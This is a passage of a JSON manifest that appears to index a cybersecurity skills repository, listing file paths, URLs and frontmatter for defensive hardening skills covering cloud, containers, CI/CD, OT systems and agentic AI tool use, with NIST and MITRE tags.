pipeline.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","nmap","port-scanning","service-enumeration","reconnaissance"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1595"]},"isInternal":false,"tokens":2473,"sizeBytes":9212},{"name":"api-reference.md","path":"skills/securing-agentic-ai-tool-invocation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-agentic-ai-tool-invocation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-agentic-ai-tool-invocation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":523,"sizeBytes":2108},{"name":"standards.md","path":"skills/securing-agentic-ai-tool-invocation/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-agentic-ai-tool-invocation/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-agentic-ai-tool-invocation%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":413,"sizeBytes":1719},{"name":"SKILL.md","path":"skills/securing-agentic-ai-tool-invocation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-agentic-ai-tool-invocation/SKILL.md","title":"securing-agentic-ai-tool-invocation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-agentic-ai-tool-invocation%2FSKILL.md -->","frontmatter":{"name":"securing-agentic-ai-tool-invocation","description":"Implements defense-in-depth controls at an AI agent's tool-invocation boundary using tool allowlisting, least-privilege identity binding, NeMo Guardrails policy enforcement, human-in-the-loop approval, and audit logging. Use when hardening an agent that calls tools with real side effects (email, payments, file writes, code execution), mapping OWASP Agentic AI Top 10 controls, or bounding prompt-injection blast radius.","domain":"cybersecurity","subdomain":"ai-security","tags":["ai-security","agentic-ai","least-privilege","tool-allowlisting","human-in-the-loop","nemo-guardrails","identity-binding","owasp-agentic"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["GOVERN-1.3"],"atlas_techniques":["AML.T0053"]},"isInternal":false,"tokens":2845,"sizeBytes":11854},{"name":"api-reference.md","path":"skills/securing-api-gateway-with-aws-waf/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-api-gateway-with-aws-waf/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-api-gateway-with-aws-waf%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":572,"sizeBytes":2315},{"name":"SKILL.md","path":"skills/securing-api-gateway-with-aws-waf/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-api-gateway-with-aws-waf/SKILL.md","title":"securing-api-gateway-with-aws-waf","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-api-gateway-with-aws-waf%2FSKILL.md -->","frontmatter":{"name":"securing-api-gateway-with-aws-waf","description":"Secures AWS API Gateway endpoints with AWS WAF by configuring managed rule groups for OWASP Top 10 protection, custom rate-limiting rules, bot control, IP reputation filtering, and WAF metric monitoring. Use when deploying API Gateway endpoints that need protection against common web attacks, or when implementing rate limiting and throttling to prevent API abuse and DDoS.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","aws","waf","api-gateway","rate-limiting","bot-protection","owasp"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T0816"]},"isInternal":false,"tokens":3812,"sizeBytes":14775},{"name":"api-reference.md","path":"skills/securing-aws-iam-permissions/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-aws-iam-permissions/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-aws-iam-permissions%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":543,"sizeBytes":2325},{"name":"SKILL.md","path":"skills/securing-aws-iam-permissions/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-aws-iam-permissions/SKILL.md","title":"securing-aws-iam-permissions","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-aws-iam-permissions%2FSKILL.md -->","frontmatter":{"name":"securing-aws-iam-permissions","description":"Hardens AWS IAM configurations to enforce least-privilege access, covering IAM policy scoping, permission boundaries, IAM Access Analyzer integration, and credential rotation strategies. Use when reducing the blast radius of compromised AWS identities, auditing overly permissive IAM policies, or setting up permission boundaries and Access Analyzer findings review across cloud accounts.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["aws-iam","least-privilege","permission-boundaries","access-analyzer","cloud-identity"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1003"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning"],"techniques":[{"id":"F1006.001","name":"Account Takeover: Exposed API Key","tactic":"initial-access","source":"f3"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"},{"id":"T1550.001","name":"Use Alternate Authentication Material: Application Access Token","tactic":"initial-access","source":"attack"},{"id":"T1110.003","name":"Brute Force: Password Spraying","tactic":"initial-access","source":"attack"},{"id":"F1005.004","name":"Account Manipulation: Change Account Details","tactic":"positioning","source":"f3"}]}},"isInternal":false,"tokens":3125,"sizeBytes":13224},{"name":"api-reference.md","path":"skills/securing-aws-lambda-execution-roles/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-aws-lambda-execution-roles/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-aws-lambda-execution-roles%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":501,"sizeBytes":2320},{"name":"SKILL.md","path":"skills/securing-aws-lambda-execution-roles/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-aws-lambda-execution-roles/SKILL.md","title":"securing-aws-lambda-execution-roles","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-aws-lambda-execution-roles%2FSKILL.md -->","frontmatter":{"name":"securing-aws-lambda-execution-roles","description":"Hardens AWS Lambda execution roles by writing least-privilege IAM policies, applying permission boundaries, restricting resource-based policies, validating permissions with IAM Access Analyzer, and enforcing role scoping through SCPs. Use when deploying new Lambda functions, remediating overly permissive Lambda roles found in an audit, or building reusable least-privilege IAM role templates for serverless teams.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","aws","lambda","iam","least-privilege","execution-roles"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580"]},"isInternal":false,"tokens":3221,"sizeBytes":13358},{"name":"api-reference.md","path":"skills/securing-azure-with-microsoft-defender/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-azure-with-microsoft-defender/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-azure-with-microsoft-defender%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":472,"sizeBytes":2017},{"name":"SKILL.md","path":"skills/securing-azure-with-microsoft-defender/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-azure-with-microsoft-defender/SKILL.md","title":"securing-azure-with-microsoft-defender","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-azure-with-microsoft-defender%2FSKILL.md -->","frontmatter":{"name":"securing-azure-with-microsoft-defender","description":"Deploys and configures Microsoft Defender for Cloud as a CNAPP for Azure, multi-cloud, and hybrid environments: enabling Defender plans for servers, containers, storage, and databases, configuring recommendations, and managing Secure Score via the unified Defender portal. Use when onboarding workloads to Defender for Cloud or setting up cloud workload protection and threat monitoring.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["microsoft-defender","azure-security","cnapp","secure-score","cloud-workload-protection"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1610"]},"isInternal":false,"tokens":2672,"sizeBytes":11972},{"name":"api-reference.md","path":"skills/securing-container-registry-images/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-container-registry-images/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-images%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":542,"sizeBytes":1987},{"name":"SKILL.md","path":"skills/securing-container-registry-images/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-container-registry-images/SKILL.md","title":"securing-container-registry-images","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-images%2FSKILL.md -->","frontmatter":{"name":"securing-container-registry-images","description":"Secures container registry images (ECR, ACR, GCR, Docker Hub) by scanning with Trivy and Grype, signing with Cosign and Sigstore, configuring registry access controls, and building CI/CD pipelines that block unscanned or unsigned images. Use when establishing registry security controls or enforcing scan/signature checks before image promotion.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","containers","registry","image-scanning","trivy","cosign","supply-chain"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1610"]},"isInternal":false,"tokens":2785,"sizeBytes":11283},{"name":"template.md","path":"skills/securing-container-registry-with-harbor/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-container-registry-with-harbor/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-with-harbor%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":125,"sizeBytes":549},{"name":"api-reference.md","path":"skills/securing-container-registry-with-harbor/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-container-registry-with-harbor/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-with-harbor%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":505,"sizeBytes":1900},{"name":"standards.md","path":"skills/securing-container-registry-with-harbor/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-container-registry-with-harbor/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-with-harbor%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":236,"sizeBytes":1107},{"name":"workflows.md","path":"skills/securing-container-registry-with-harbor/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-container-registry-with-harbor/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-with-harbor%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":197,"sizeBytes":983},{"name":"SKILL.md","path":"skills/securing-container-registry-with-harbor/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-container-registry-with-harbor/SKILL.md","title":"securing-container-registry-with-harbor","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-container-registry-with-harbor%2FSKILL.md -->","frontmatter":{"name":"securing-container-registry-with-harbor","description":"Configures the security features of the Harbor open-source container registry - integrated Trivy scanning, Cosign and Notary content trust policies, project-level RBAC, immutable tag and retention rules, and OIDC authentication - to enforce provenance and block deployment of vulnerable images. Use when deploying or hardening Harbor, or when compliance requires that only signed and scanned images can be pulled. Keywords: Harbor, project policy, content trust, immutable tag, retention, robot account, OIDC, replication. Do not use for signing images with Cosign outside a registry - use implementing-image-provenance-verification-with-cosign.","domain":"cybersecurity","subdomain":"container-security","tags":["containers","kubernetes","docker","security","registry","harbor"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525","T1190"]},"isInternal":false,"tokens":1997,"sizeBytes":7476},{"name":"template.md","path":"skills/securing-github-actions-workflows/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-github-actions-workflows/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-github-actions-workflows%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":303,"sizeBytes":1016},{"name":"api-reference.md","path":"skills/securing-github-actions-workflows/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-github-actions-workflows/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-github-actions-workflows%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":436,"sizeBytes":1844},{"name":"standards.md","path":"skills/securing-github-actions-workflows/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-github-actions-workflows/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-github-actions-workflows%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":280,"sizeBytes":1152},{"name":"workflows.md","path":"skills/securing-github-actions-workflows/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-github-actions-workflows/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-github-actions-workflows%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":268,"sizeBytes":1192},{"name":"SKILL.md","path":"skills/securing-github-actions-workflows/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-github-actions-workflows/SKILL.md","title":"securing-github-actions-workflows","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-github-actions-workflows%2FSKILL.md -->","frontmatter":{"name":"securing-github-actions-workflows","description":"Hardens GitHub Actions workflows against supply chain attacks, credential theft, and privilege escalation: pinning actions to SHA digests, minimizing GITHUB_TOKEN permissions, protecting secrets, preventing script injection in workflow expressions, and requiring reviewers for workflow changes. Use when hardening GitHub Actions workflows that handle secrets, deploy to production, or run with elevated permissions.\n","domain":"cybersecurity","subdomain":"devsecops","tags":["devsecops","cicd","github-actions","supply-chain","workflow-security","secure-sdlc"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","GV.SC-07","ID.IM-04","PR.PS-04"],"mitre_attack":["T1195","T1554","T1059.004","T1068","T1548"]},"isInternal":false,"tokens":2063,"sizeBytes":8754},{"name":"template.md","path":"skills/securing-helm-chart-deployments/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-helm-chart-deployments/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-helm-chart-deployments%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":263,"sizeBytes":1020},{"name":"api-reference.md","path":"skills/securing-helm-chart-deployments/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-helm-chart-deployments/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-helm-chart-deployments%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":481,"sizeBytes":1981},{"name":"standards.md","path":"skills/securing-helm-chart-deployments/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-helm-chart-deployments/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-helm-chart-deployments%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":346,"sizeBytes":1329},{"name":"workflows.md","path":"skills/securing-helm-chart-deployments/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-helm-chart-deployments/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-helm-chart-deployments%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":274,"sizeBytes":1093},{"name":"SKILL.md","path":"skills/securing-helm-chart-deployments/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-helm-chart-deployments/SKILL.md","title":"securing-helm-chart-deployments","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-helm-chart-deployments%2FSKILL.md -->","frontmatter":{"name":"securing-helm-chart-deployments","description":"Secures Helm chart deployments by verifying chart signatures and provenance, rendering and linting templates for misconfiguration, enforcing pod security contexts through values.yaml, moving secrets into an external store instead of Helm values, and scoping RBAC for Helm operations in CI/CD. Use when deploying charts to Kubernetes or reviewing chart provenance, templates, or release RBAC. Keywords: Helm, provenance file, helm verify, helm lint, values.yaml, Tiller-less, release RBAC, external secrets. Do not use for scanning the rendered manifests themselves - use scanning-kubernetes-manifests-with-kubesec.","domain":"cybersecurity","subdomain":"container-security","tags":["helm","kubernetes","chart-security","supply-chain","configuration-security","deployment"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525","T1195"]},"isInternal":false,"tokens":1911,"sizeBytes":7469},{"name":"api-reference.md","path":"skills/securing-historian-server-in-ot-environment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-historian-server-in-ot-environment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-historian-server-in-ot-environment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":392,"sizeBytes":1521},{"name":"SKILL.md","path":"skills/securing-historian-server-in-ot-environment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-historian-server-in-ot-environment/SKILL.md","title":"securing-historian-server-in-ot-environment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-historian-server-in-ot-environment%2FSKILL.md -->","frontmatter":{"name":"securing-historian-server-in-ot-environment","description":"Audits and hardens process historian servers (OSIsoft PI, Honeywell PHD, GE Proficy, AVEVA Historian) in OT environments: Purdue-level network placement, interface access control, secure DMZ replication via data diodes or PI-to-PI connectors, SQL injection prevention, and process data integrity. Use when auditing or hardening a historian server, or designing secure OT-to-IT data replication through a DMZ.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","scada","industrial-control","iec62443","historian","osisoft-pi","data-integrity"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T1055","T0816"]},"isInternal":false,"tokens":3376,"sizeBytes":15150},{"name":"api-reference.md","path":"skills/securing-kubernetes-on-cloud/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-kubernetes-on-cloud/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-kubernetes-on-cloud%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":524,"sizeBytes":2273},{"name":"SKILL.md","path":"skills/securing-kubernetes-on-cloud/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-kubernetes-on-cloud/SKILL.md","title":"securing-kubernetes-on-cloud","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-kubernetes-on-cloud%2FSKILL.md -->","frontmatter":{"name":"securing-kubernetes-on-cloud","description":"Hardens managed Kubernetes clusters on EKS, AKS, and GKE by implementing Pod Security Standards, network policies, workload identity (IRSA for EKS, Workload Identity for GKE, Managed Identities for AKS), RBAC scoping, image admission controls, and runtime security monitoring. Use when deploying a new managed Kubernetes cluster with security requirements or hardening an existing EKS, AKS, or GKE cluster after an audit or pentest finding.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["kubernetes-security","eks","aks","gke","pod-security-standards","container-runtime"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1610"]},"isInternal":false,"tokens":3052,"sizeBytes":13045},{"name":"api-reference.md","path":"skills/securing-remote-access-to-ot-environment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-remote-access-to-ot-environment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-remote-access-to-ot-environment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":448,"sizeBytes":1737},{"name":"SKILL.md","path":"skills/securing-remote-access-to-ot-environment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-remote-access-to-ot-environment/SKILL.md","title":"securing-remote-access-to-ot-environment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-remote-access-to-ot-environment%2FSKILL.md -->","frontmatter":{"name":"securing-remote-access-to-ot-environment","description":"Designs and configures secure remote access to OT/ICS environments for operators, engineers, and vendors: jump server architecture, multi-factor authentication, session recording, privileged access management, vendor access controls, and IEC 62443 / NERC CIP-005 compliance. Use when designing OT remote access architecture or configuring a jump server with privileged access management.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","scada","industrial-control","iec62443","remote-access","jump-server","mfa"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":3164,"sizeBytes":14427},{"name":"api-reference.md","path":"skills/securing-serverless-functions/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-serverless-functions/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-serverless-functions%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":497,"sizeBytes":2116},{"name":"SKILL.md","path":"skills/securing-serverless-functions/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/securing-serverless-functions/SKILL.md","title":"securing-serverless-functions","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fsecuring-serverless-functions%2FSKILL.md -->","frontmatter":{"name":"securing-serverless-functions","description":"Hardens serverless compute platforms (AWS Lambda, Azure Functions, Google Cloud Functions): least-privilege IAM roles, dependency vulnerability scanning, secrets management integration, input validation, function URL authentication, and runtime monitoring. Use when deploying serverless functions with sensitive access, auditing for overly permissive roles, or adding functions to a DevSecOps pipeline.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["serverless-security","aws-lambda","azure-functions","function-hardening","supply-chain"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1003"]},"isInternal":false,"tokens":2901,"sizeBytes":12354},{"name":"template.md","path":"skills/testing-android-intents-for-vulnerabilities/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-android-intents-for-vulnerabilities/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-android-intents-for-vulnerabilities%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":230,"sizeBytes":768},{"name":"api-reference.md","path":"skills/testing-android-intents-for-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-android-intents-for-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-android-intents-for-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":435,"sizeBytes":1833},{"name":"standards.md","path":"skills/testing-android-intents-for-vulnerabilities/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-android-intents-for-vulnerabilities/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-android-intents-for-vulnerabilities%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":226,"sizeBytes":1022},{"name":"workflows.md","path":"skills/testing-android-intents-for-vulnerabilities/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-android-intents-for-vulnerabilities/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via 